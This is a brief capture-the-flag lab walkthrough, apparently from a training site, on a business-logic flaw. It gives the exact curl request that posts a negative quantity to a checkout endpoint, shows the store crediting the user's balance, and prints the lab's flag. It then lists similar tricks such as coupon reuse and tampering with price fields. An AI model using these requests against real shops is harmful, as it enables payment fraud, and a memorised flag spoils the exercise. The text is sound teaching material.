Buying a negative quantity

Turning a purchase into a payout

Send a negative quantity and the maths runs straight off a cliff:

curl -s -d 'item=laptop&qty=-1' http://127.0.0.1:8080/app/checkout

In the terminal

student@vulntech:~$ curl -s -d 'item=laptop&qty=-1' http://127.0.0.1:8080/app/checkout
Order: -1 x laptop = -1200 credits
Total is zero or less, so the store adds it to your balance. vulntech{business_logic_negative_quantity}

A negative total means the store adds to your balance instead of charging you. Real examples are everywhere: negative quantities, applying one coupon many times, skipping a payment step, or changing a price field the client should never control.